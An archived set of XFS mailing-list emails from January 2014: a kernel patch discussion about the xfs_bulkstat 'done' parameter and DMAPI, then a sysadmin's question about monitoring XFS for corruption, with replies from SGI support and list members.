--b1_c0811ce720ef5bd41880da5ecd6f535a-- From jeff.liu@oracle.com Thu Jan 2 01:23:59 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A63A729DF8 for ; Thu, 2 Jan 2014 01:23:59 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 93F6C8F8035 for ; Wed, 1 Jan 2014 23:23:56 -0800 (PST) X-ASG-Debug-ID: 1388647434-04cbb04167b2d460001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id WUYAp3b0Eq5nW9VE (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Wed, 01 Jan 2014 23:23:55 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id s027Npc9017035 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 2 Jan 2014 07:23:52 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s027NoT5024985 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 2 Jan 2014 07:23:50 GMT Received: from abhmp0002.oracle.com (abhmp0002.oracle.com [141.146.116.8]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s027NomC009126; Thu, 2 Jan 2014 07:23:50 GMT Received: from [192.168.1.106] (/221.223.96.159) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 01 Jan 2014 23:23:49 -0800 Message-ID: <52C51402.7040609@oracle.com> Date: Thu, 02 Jan 2014 15:23:46 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Dave Chinner CC: Mark Tinguely , "xfs@oss.sgi.com" Subject: Re: [PATCH 2/10] xfs: xfs_bulkstat_single consolidation References: <52BEB3E7.2080706@oracle.com> <52C1BCE5.1070707@sgi.com> <52C293A5.1000606@oracle.com> <20140102011243.GO20579@dastard> X-ASG-Orig-Subj: Re: [PATCH 2/10] xfs: xfs_bulkstat_single consolidation In-Reply-To: <20140102011243.GO20579@dastard> Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1388647435 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143649 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 01/02 2014 09:12 AM, Dave Chinner wrote: > On Tue, Dec 31, 2013 at 05:51:33PM +0800, Jeff Liu wrote: >> On 2013年12月31日 02:35, Mark Tinguely wrote: >>> On 12/28/13 05:20, Jeff Liu wrote: >>>> From: Jie Liu >>>> >>>> In xfs_bulkstat_single(), xfs_bulkstat_one() and xfs_bulkstat() might >>>> return different error if either call failed, we'd better return the >>>> proper error in this case. Moreover, the function argument done is >>>> useless in terms of xfs_ioc_bulkstat(), hence we can get rid of it. >>>> >>>> Signed-off-by: Jie Liu >>>> --- >>> >>> Yes, I know dmapi is not loved here but SGI still uses it and it wants >>> the done flag still.. >> My mistake. At that time, I noticed that there has comments about this >> in xfs_ioc_bulkstat(), i.e, >> >> /* done = 1 if there are more stats to get and if bulkstat */ >> /* should be called again (unused here, but used in dmapi) */ >> >> However, I failed to find out why it would be called by going through >> the dmapi source code... >> >> I'll keep this argument in next round of post. > > Well, let's consider how DMAPI uses it first. > > dmapi_ioctl() > use_rvp = 0; > case DM_GET_BULKALL: > use_rvp = 1; > dm_get_bulkattr_rvp(*rvp) > fsys_vector->get_bulkattr_rvp(rvp) > xfs_dm_get_bulkall_rvp(*rvalp) > xfs_bulkstat(&done) > *rvalp = !done ? 1 : 0; Thanks for the clarification. Now I can understand the use scenarios via DMAPI. > > if (use_rvp && !error) > return rvp; > > > Ok, so it returns the "done" status to userspace. How is "done" > calculated? > > if (agno >= mp->m_sb.sb_agcount) { > /* > * If we ran out of filesystem, mark lastino as off > * the end of the filesystem, so the next call > * will return immediately. > */ > *lastinop = (xfs_ino_t)XFS_AGINO_TO_INO(mp, agno, 0); > *done = 1; > } else > *lastinop = (xfs_ino_t)lastino; > > Oh, so it's nothing special - the lastinop is pointed outside the > current filesystem bounds and done is set to 1. IOWs, the dmapi code > could easily generate the "done" value based on the returned > lastinop value. i.e. xfs_dm_get_bulkall_rvp() can do this after the > xfs_bulkstat() call: > > if (XFS_INO_TO_AGNO(mp, lastinop) >= mp->m_sb.sb_agcount) > *rvalp = 0; > else > *rvalp = 1; > > And that means we can remove the done parameter from xfs_bulkstat() > and no longer have to care about what DMAPI requires. Hence I think > the patch as it stands does not impact on DMAPI functionality and so > it just fine to clean up... Yep. Except DMAPI, the only user of the done parameter is quota check, i.e, xfs_qm_quotacheck(): do { /* * Iterate thru all the inodes in the file system, * adjusting the corresponding dquot counters in core. */ error = xfs_bulkstat(mp, &lastino, &count, xfs_qm_dqusage_adjust, structsz, NULL, &done); if (error) break; } while (!done); But if we finally could perform quota check in parallel, the done parameter can totally be removed as flush_workqueue() can ensure that is completed. Actually, I just did it as the last patch in parallel quota check which is not yet posted. Thanks, -Jeff From rotem.benarye@gmail.com Thu Jan 2 06:16:22 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4EDBC29DF8 for ; Thu, 2 Jan 2014 06:16:22 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3BDBB8F8037 for ; Thu, 2 Jan 2014 04:16:22 -0800 (PST) X-ASG-Debug-ID: 1388664978-04cb6c537bb3e9d0001-NocioJ Received: from mail-ig0-f170.google.com (mail-ig0-f170.google.com [209.85.213.170]) by cuda.sgi.com with ESMTP id r46AQDUDW70ALIdH (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 02 Jan 2014 04:16:18 -0800 (PST) X-Barracuda-Envelope-From: rotem.benarye@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.213.170 X-Barracuda-IPDD: Level1 [gmail.com/209.85.213.170] Received: by mail-ig0-f170.google.com with SMTP id k19so41215933igc.1 for ; Thu, 02 Jan 2014 04:16:18 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.213.170] X-Barracuda-IPDD: Level1 [gmail.com/209.85.213.170] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:cc:content-type; bh=g+hizC4pOI6pw5GeU0ARY7+cL9xECDXYFqhchRv2dss=; b=aIOnI0eVuuznb3MmsaTxiDA+s7xrLNPJC6eZcipMNhjIuDiAUQwk4SqzC2QeN0eHRf v7/uXjXsnL6UjEmxTCxKIK9+Mq+1KGF9o/HTtucpfqJ0DaWFrpD6J0kSWyoPBpzFuToJ JuiI5L7uUKPhgfTjatC9mByIOTWAKe+wxXDp0FRh4uwGY+m2non5xL+NEXinK1TkN5Bs EltbI7SuQTubAM157OFWcByV1wjDVoES4BMm89+JzQ4fZ9ELy5fff04qsn+qd7KBgB5o aYPZkdIVPebnR25As9wJZ3vrKlNL8WYCgCEJQA66s3czJ1W/tPkHm+/x0Jk7gyOib11Z 8m8Q== MIME-Version: 1.0 X-Received: by 10.43.171.134 with SMTP id nu6mr282880icc.92.1388664978223; Thu, 02 Jan 2014 04:16:18 -0800 (PST) Received: by 10.42.237.133 with HTTP; Thu, 2 Jan 2014 04:16:18 -0800 (PST) Date: Thu, 2 Jan 2014 14:16:18 +0200 Message-ID: Subject: XFS File System Monitor From: Rotem Ben Arye X-ASG-Orig-Subj: XFS File System Monitor To: support@sgi.com Cc: xfs@oss.sgi.com Content-Type: multipart/alternative; boundary=001a11c2f8babd3b9004eefbc26f X-Barracuda-Connect: mail-ig0-f170.google.com[209.85.213.170] X-Barracuda-Start-Time: 1388664978 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143655 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message --001a11c2f8babd3b9004eefbc26f Content-Type: text/plain; charset=ISO-8859-1 Hi, SGI Support Team. My Name is Rotem , I am a Linux/Unix System Administrator in web company at Israel. I have a question I want to appeal to you to get some advice. In the last weekend we had crisis in one of the Production server in the comany ,the problem was defined by the Integrators as "xfs file system corrupted" My question is , what are the open source tools , that we can use on runtime at production environment , to monitor and sample to get indication on mount XFS , That something is not living well, and can lead to problem. We are working in a Linux environment on CentOS distributions server. Thank you, Rotem Ben Arye --001a11c2f8babd3b9004eefbc26f Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable
Hi, SGI Support=A0Team.
My Name is Rotem , I am=A0a=A0Linux/Unix=A0System Administrato= r=A0in web company at Israel.
I have a question I wa= nt to appeal to you to get some advice.
=A0
In the last weekend we=A0had crisis in one of=A0the Prod= uction server in the=A0comany=A0,the problem was defined by the Integrators= as=A0 "xfs file system corrupted"
My question is , what are = the open source tools , that we can use on runtime at production environmen= t , to monitor and sample to get indication on mount XFS ,
That something is not living well, and can lead to problem.
=A0
We=A0are=A0working in a Linux environment on Ce= ntOS=A0distributions server.
=A0
Thank you= , =A0
=A0
Rotem Ben Arye

=A0

--001a11c2f8babd3b9004eefbc26f-- From support@sgi.com Thu Jan 2 07:04:13 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id CEE1729DF8 for ; Thu, 2 Jan 2014 07:04:13 -0600 (CST) Received: from m2c-new.corp.sgi.com (m2c-new.corp.sgi.com [137.38.102.18]) by relay1.corp.sgi.com (Postfix) with ESMTP id B98EE8F8037; Thu, 2 Jan 2014 05:04:10 -0800 (PST) Received: from m2c-new.corp.sgi.com (m2c-new [127.0.0.1] (may be forged)) by m2c-new.corp.sgi.com (8.13.1/8.13.1) with ESMTP id s02D4AYQ028656; Thu, 2 Jan 2014 07:04:10 -0600 Received: (from apache@localhost) by m2c-new.corp.sgi.com (8.13.1/8.13.1/Submit) id s02D4Agc028655; Thu, 2 Jan 2014 13:04:10 GMT Date: Thu, 2 Jan 2014 13:04:10 GMT Message-Id: <201401021304.s02D4Agc028655@m2c-new.corp.sgi.com> To: "Rotem Ben Arye" Subject: Re: XFS File System Monitor From: support@sgi.com CC: xfs@oss.sgi.com Hello Rotem We have received your email and wish to log your request. However we need to know the Serial Number (s/n) of your machine in order to do so. The Serial Number is usually located on a white barcode label on the back of your machine. Depending on your system type, you may also be able to determine the serial number by running one of the following commands: 1) "sysinfo -vv" (Irix) 2) "cat /proc/sgi_sn/system_serial_number" (Altix) 3) dmidecode |grep Serial |grep X (Altix XE) 4) scash -p -c "dmidecode |grep Serial |grep X" (Altix XE Clusters with Scalimanage) 5) dmidecode | grep "Serial Number" | grep Z (Altix ICE) 6) dmidecode -s system-serial-number (Altix UV 10) 7) From the OS, use the 'topology' command. From the SMN, use the 'config' command. (Altix UV 100 & UV 1000) 8) "wmic bios get serialnumber" from the command line (Windows 2003/2008) Once we receive this information, we will be able to log a case. Thank you in advance. Regards, SGI Global Customer Support Center Corporate Office: SGI, 46600 Landing Parkway, Fremont, CA 94538, USA > > > To: support@sgi.com > Date: 12:16 PM Thursday January 02nd, 2014(GMT) > From: "Rotem Ben Arye" > CC: xfs@oss.sgi.com > Subject: XFS File System Monitor > > Hi, SGI Support Team. > > My Name is Rotem , I am a Linux/Unix System Administrator in web company > at Israel. I have a question I want to appeal to you to get some advice. > > In the last weekend we had crisis in one of the Production server in > the comany ,the problem was defined by the Integrators as "xfs file > system corrupted" > > My question is , what are the open source tools , that we can use on > runtime at production environment , to monitor and sample to get > indication on mount XFS , That something is not living well, and can > lead to problem. > > We are working in a Linux environment on CentOS distributions server. > > Thank you, > > Rotem Ben Arye > ------------------------------------------------------------------------------- ***** Have you tried Supportfolio? ***** Did you know that you can open cases via the SGI web portal Supportfolio? Just click on the following link: https://support.sgi.com/login ------------------------------------------------------------------------------- http://www.sgi.com/ Contact us: http://www.sgi.com/support/supportcenters.html NB: Information in this message is SGI confidential. It is intended solely for the person(s) to whom it is addressed and may not be copied, used, disclosed or distributed to others without SGI consent. If you are not the intended recipient please will you notify me by email or telephone, delete the message from your system immediately and destroy any printed copies. From rotem.benarye@gmail.com Thu Jan 2 07:21:04 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1234529DF8 for ; Thu, 2 Jan 2014 07:21:04 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 88FC8AC003 for ; Thu, 2 Jan 2014 05:21:00 -0800 (PST) X-ASG-Debug-ID: 1388668859-04cbb04168b3a2e0001-NocioJ Received: from mail-ie0-f169.google.com (mail-ie0-f169.google.com [209.85.223.169]) by cuda.sgi.com with ESMTP id w96qbpI1iDiQDTqG (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 02 Jan 2014 05:20:59 -0800 (PST) X-Barracuda-Envelope-From: rotem.benarye@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.223.169 X-Barracuda-IPDD: Level1 [gmail.com/209.85.223.169] Received: by mail-ie0-f169.google.com with SMTP id e14so14818041iej.28 for ; Thu, 02 Jan 2014 05:20:59 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.223.169] X-Barracuda-IPDD: Level1 [gmail.com/209.85.223.169] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=/n06W0T2w6MrqITaYKYUWxJ2d9YSnobQA+UZWt4JSG0=; b=TeJAwrV4fJqTwHYeN2JJfEgSVFQ2+yvPLFFRl4+ybquR0SgDzOlDPgSu/eOAUzakLS 19kavn21ORNe6SRdDhpO90mZGYW+UmkzAUiAU/U+wBrlZN6mSE4VFUwGuPVcYcN1fDEj sEMse7yIJYMnX+OwCwJxCQwmyc9/iKtAPX09t+WJ2Iqn4Xk2GrSlILscC+5dplEJzchB OHSPbnQDaI2Zn4oCIrBdtkn/iCxcsziLnff93/jACO3BazYcsFbw51uZapalMwWuQRGF wp8meDS3I8gnlkDenNpZOr4Jc8HFYkNU0VnGqYsgZwEE4EfvOFnrxdoaDzQpaunOMQFy juRQ== MIME-Version: 1.0 X-Received: by 10.43.171.134 with SMTP id nu6mr557470icc.92.1388668858995; Thu, 02 Jan 2014 05:20:58 -0800 (PST) Received: by 10.42.237.133 with HTTP; Thu, 2 Jan 2014 05:20:58 -0800 (PST) In-Reply-To: <201401021304.s02D4Agc028655@m2c-new.corp.sgi.com> References: <201401021304.s02D4Agc028655@m2c-new.corp.sgi.com> Date: Thu, 2 Jan 2014 15:20:58 +0200 Message-ID: Subject: Re: XFS File System Monitor From: Rotem Ben Arye X-ASG-Orig-Subj: Re: XFS File System Monitor To: support@sgi.com Cc: xfs@oss.sgi.com Content-Type: multipart/alternative; boundary=001a11c2f8ba0d1a7604eefcaacf X-Barracuda-Connect: mail-ie0-f169.google.com[209.85.223.169] X-Barracuda-Start-Time: 1388668859 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-ASG-Whitelist: Body =?UTF-8?B?aHR0cHM6Ly9zdXBwb3J0XC5zZ2lcLmNvbQ==?= X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 --001a11c2f8ba0d1a7604eefcaacf Content-Type: text/plain; charset=ISO-8859-1 HI , I'm not sure it will help here, we are working central storage with Netapp , EMC and others , The Using of XFS File system on volume , is expressed with an creation of XFS, as e.g : mkfs.xfs. My question about what are the tools that could assist us to monitor XFS file system was in general. On Thu, Jan 2, 2014 at 3:04 PM, wrote: > Hello Rotem > > We have received your email and wish to log your request. However we need > to know the Serial Number (s/n) of your machine in order to do so. > > The Serial Number is usually located on a white barcode label on the back > of your machine. > > Depending on your system type, you may also be able to determine the > serial number by running one of the following commands: > > 1) "sysinfo -vv" (Irix) > 2) "cat /proc/sgi_sn/system_serial_number" (Altix) > 3) dmidecode |grep Serial |grep X (Altix XE) > 4) scash -p -c "dmidecode |grep Serial |grep X" (Altix XE Clusters with > Scalimanage) > 5) dmidecode | grep "Serial Number" | grep Z (Altix ICE) > 6) dmidecode -s system-serial-number (Altix UV 10) > 7) From the OS, use the 'topology' command. From the SMN, use the > 'config' command. (Altix UV 100 & UV 1000) > 8) "wmic bios get serialnumber" from the command line (Windows 2003/2008) > > Once we receive this information, we will be able to log a case. > > Thank you in advance. > > Regards, > SGI Global Customer Support Center > > Corporate Office: > SGI, 46600 Landing Parkway, Fremont, CA 94538, USA > > > > > > > To: support@sgi.com > > Date: 12:16 PM Thursday January 02nd, 2014(GMT) > > From: "Rotem Ben Arye" > > CC: xfs@oss.sgi.com > > Subject: XFS File System Monitor > > > > Hi, SGI Support Team. > > > > My Name is Rotem , I am a Linux/Unix System Administrator in web company > > at Israel. I have a question I want to appeal to you to get some advice. > > > > In the last weekend we had crisis in one of the Production server in > > the comany ,the problem was defined by the Integrators as "xfs file > > system corrupted" > > > > My question is , what are the open source tools , that we can use on > > runtime at production environment , to monitor and sample to get > > indication on mount XFS , That something is not living well, and can > > lead to problem. > > > > We are working in a Linux environment on CentOS distributions server. > > > > Thank you, > > > > Rotem Ben Arye > > > > > ------------------------------------------------------------------------------- > ***** Have you tried Supportfolio? ***** > Did you know that you can open cases via the SGI web portal Supportfolio? > Just click on the following link: https://support.sgi.com/login > > ------------------------------------------------------------------------------- > > http://www.sgi.com/ > Contact us: http://www.sgi.com/support/supportcenters.html > > NB: Information in this message is SGI confidential. It is intended solely > for the person(s) to whom it is addressed and may not be copied, used, > disclosed or distributed to others without SGI consent. If you are not the > intended recipient please will you notify me by email or telephone, delete > the message from your system immediately and destroy any printed copies. > > --001a11c2f8ba0d1a7604eefcaacf Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable
HI , I'm not sure it will help here,=A0 we= =A0 are working central storage=A0with Netapp , EMC and others ,=A0
The= Using of XFS File system on volume=A0, is expressed with an creation of XF= S, as e.g :=A0 mkfs.xfs.
=A0My question about what are the tools that could assist us to monitor XFS= file system was in general.
=A0

=A0On Thu, Jan 2, 2014 at 3:04 PM, <support@sgi.c= om> wrote:
Hello Rotem

We have received your email and wish to log your request. However we need t= o know the Serial Number (s/n) of your machine in order to do so.

The Serial Number is usually located on a white barcode label on the back o= f your machine.

Depending on your system type, you may also be able to determine the serial= number by running one of the following commands:

1) "sysinfo -vv" (Irix)
2) "cat /proc/sgi_sn/system_serial_number" (Altix)
3) dmidecode |grep Serial |grep X =A0(Altix XE)
4) scash -p -c "dmidecode |grep Serial |grep X" (Altix XE Cluster= s with Scalimanage)
5) dmidecode =A0| grep "Serial Number" | grep Z (Altix ICE)
6) dmidecode -s system-serial-number (Altix UV 10)
7) From the OS, use the 'topology' command. =A0From the SMN, use th= e 'config' command. =A0(Altix UV 100 & UV 1000)
8) "wmic bios get serialnumber" from the command line (Windows 20= 03/2008)

Once we receive this information, we will be able to log a case.

Thank you in advance.

Regards,
SGI Global Customer Support Center

Corporate Office:
SGI, 46600 Landing Parkway, Fremont, CA 94538, USA

>
>
> To: support@sgi.com
> Date: 12:16 PM Thursday January 02nd, 2014(GMT)
> From: "Rotem Ben Arye" <rotem.benarye@gmail.com>
> CC: xfs@oss.sgi.com
> Subject: XFS File System Monitor
>
> Hi, SGI Support Team.
>
> My Name is Rotem , I am a Linux/Unix System Administrator in web compa= ny
> at Israel. I have a question I want to appeal to you to get some advic= e.
>
> In the last weekend we had crisis in one of the Production server in > the comany ,the problem was defined by the Integrators as =A0"xfs= file
> system corrupted"
>
> My question is , what are the open source tools , that we can use on > runtime at production environment , to monitor and sample to get
> indication on mount XFS , That something is not living well, and can > lead to problem.
>
> We are working in a Linux environment on CentOS distributions server.<= br> >
> Thank you,
>
> Rotem Ben Arye
>

---------------------------------------------------------------= ----------------
***** Have you tried Supportfolio? *****
Did you know that you can open cases via the SGI web portal Supportfolio? = =A0Just click on the following link: https://support.sgi.com/login
---------------------------------------------------------------------------= ----

http://www.sgi.com/ Contact us: http://www.sgi.com/support/supportcenters.html

NB: Information in this message is SGI confidential. It is intended solely = for the person(s) to whom it is addressed and may not be copied, used, disc= losed or distributed to others without SGI consent. If you are not the inte= nded recipient please will you notify me by email or telephone, delete the = message from your system immediately and destroy any printed copies.


--001a11c2f8ba0d1a7604eefcaacf-- From eflorac@intellique.com Thu Jan 2 07:28:06 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 47A3929DF8 for ; Thu, 2 Jan 2014 07:28:06 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id D8336AC004 for ; Thu, 2 Jan 2014 05:28:05 -0800 (PST) X-ASG-Debug-ID: 1388669275-04cb6c537db428f0001-NocioJ Received: from mail1.g1.pair.com (mail1.g1.pair.com [66.39.3.162]) by cuda.sgi.com with ESMTP id x45RxPryvOEgSoCZ for ; Thu, 02 Jan 2014 05:27:56 -0800 (PST) X-Barracuda-Envelope-From: eflorac@intellique.com X-Barracuda-Apparent-Source-IP: 66.39.3.162 Received: from localhost (localhost [127.0.0.1]) by mail1.g1.pair.com (Postfix) with SMTP id 837852894E; Thu, 2 Jan 2014 08:27:55 -0500 (EST) Received: from harpe.intellique.com (labo.djinux.com [82.225.196.72]) by mail1.g1.pair.com (Postfix) with ESMTPSA id 984472C410; Thu, 2 Jan 2014 08:27:54 -0500 (EST) Date: Thu, 2 Jan 2014 14:27:55 +0100 From: Emmanuel Florac To: Rotem Ben Arye , xfs@oss.sgi.com Subject: Re: XFS File System Monitor Message-ID: <20140102142755.3659bd42@harpe.intellique.com> X-ASG-Orig-Subj: Re: XFS File System Monitor In-Reply-To: References: <201401021304.s02D4Agc028655@m2c-new.corp.sgi.com> Organization: Intellique X-Mailer: Claws Mail 3.9.2 (GTK+ 2.24.20; i486-slackware-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable X-Barracuda-Connect: mail1.g1.pair.com[66.39.3.162] X-Barracuda-Start-Time: 1388669275 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143657 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Le Thu, 2 Jan 2014 15:20:58 +0200 Rotem Ben Arye =E9crivait: > HI , I'm not sure it will help here, we are working central storage > with Netapp , EMC and others , > The Using of XFS File system on volume , is expressed with an > creation of XFS, as e.g : mkfs.xfs. > My question about what are the tools that could assist us to monitor > XFS file system was in general. Rotem, if you have no SGI supported hardware, SGI support won't help you. Furthermore, it's impossible to help you without more details: what is the hardware setup, the exact OS version and linux kernel in use. --=20 ------------------------------------------------------------------------ Emmanuel Florac | Direction technique | Intellique | | +33 1 78 94 84 02 ------------------------------------------------------------------------ From stan@hardwarefreak.com Thu Jan 2 09:07:10 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9969C29DF8 for ; Thu, 2 Jan 2014 09:07:10 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 71FAF304051 for ; Thu, 2 Jan 2014 07:07:10 -0800 (PST) X-ASG-Debug-ID: 1388675226-04cbb04169b3f200001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id dtdovFqVdezNqnZx for ; Thu, 02 Jan 2014 07:07:06 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id ED4A16C12D; Thu, 2 Jan 2014 09:07:05 -0600 (CST) Message-ID: <52C58095.70408@hardwarefreak.com> Date: Thu, 02 Jan 2014 09:07:01 -0600 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Rotem Ben Arye , support@sgi.com CC: xfs@oss.sgi.com Subject: Re: XFS File System Monitor References: X-ASG-Orig-Subj: Re: XFS File System Monitor In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1388675226 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 1/2/2014 6:16 AM, Rotem Ben Arye wrote: > Hi, SGI Support Team. > My Name is Rotem , I am a Linux/Unix System Administrator in web company at > Israel. > I have a question I want to appeal to you to get some advice. > > In the last weekend we had crisis in one of the Production server in > the comany ,the problem was defined by the Integrators as "xfs file system > corrupted" > My question is , what are the open source tools , that we can use on > runtime at production environment , to monitor and sample to get indication > on mount XFS , > That something is not living well, and can lead to problem. > > We are working in a Linux environment on CentOS distributions server. So in a nutshell you're looking for a monitor application that will in essence give you a green, yellow, or red light informing you of the filesystem's health. Or some kind of SNMP logging that suggests a corruption is imminent. There is no such tool, and never will be. Nearly all XFS corruption events are caused by either software bugs in the XFS code or elsewhere in the Linux kernel, transient or permanent hardware failures, or power failures, at some layer in the storage stack. It is not feasible to predict such events. When an XFS corruption occurs, one should report all related log information and errors to this 